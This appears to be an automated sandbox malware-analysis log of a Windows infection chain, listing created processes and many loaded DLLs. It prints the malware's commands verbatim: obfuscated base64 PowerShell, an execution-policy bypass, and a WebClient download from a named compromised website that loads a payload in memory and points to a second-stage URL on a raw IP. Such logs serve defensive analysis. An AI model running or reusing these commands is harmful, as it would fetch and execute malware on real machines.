ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Copy-Item 'C:\Users\user\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\user\AppData\Local\Temp\'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
